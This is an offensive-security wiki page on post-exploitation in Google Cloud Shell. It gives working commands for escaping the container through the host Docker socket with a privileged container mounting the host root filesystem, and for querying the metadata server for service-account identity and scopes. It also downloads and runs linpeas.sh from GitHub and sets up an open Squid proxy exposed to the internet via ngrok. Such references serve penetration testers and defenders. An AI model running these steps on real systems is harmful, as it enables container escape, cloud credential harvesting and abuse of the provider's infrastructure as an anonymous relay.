GCP - Cloud Shell Post Exploitation

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Cloud Shell

For more information about Cloud Shell check:

GCP - Cloud Shell Enum

Container Escape

Note that the Google Cloud Shell runs inside a container, you can easily escape to the host by doing:

bash
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh

This is not considered a vulnerability by google, but it gives you a wider vision of what is happening in that env.

Moreover, notice that from the host you can find a service account token:

bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/

With the following scopes:

bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write

Enumerate metadata with LinPEAS:

bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud

After using https://github.com/carlospolop/bf_my_gcp_permissions with the token of the Service Account no permission was discovered...

Use it as Proxy

If you want to use your google cloud shell instance as proxy you need to run the following commands (or insert them in the .bashrc file):

bash
sudo apt install -y squid

Just for let you know Squid is a http proxy server. Create a squid.conf file with the following settings:

bash
http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all

copy the squid.conf file to /etc/squid

bash
sudo cp squid.conf /etc/squid

Finally run the squid service:

bash
sudo service squid start

Use ngrok to let the proxy be available from outside:

bash
./ngrok tcp 3128

After running copy the tcp:// url. If you want to run the proxy from a browser it is suggested to remove the tcp:// part and the port and put the port in the port field of your browser proxy settings (squid is a http proxy server).

For better use at startup the .bashrc file should have the following lines:

bash
sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128

The instructions were copied from https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. Check that page for other crazy ideas to run any kind of software (databases and even windows) in Cloud Shell.

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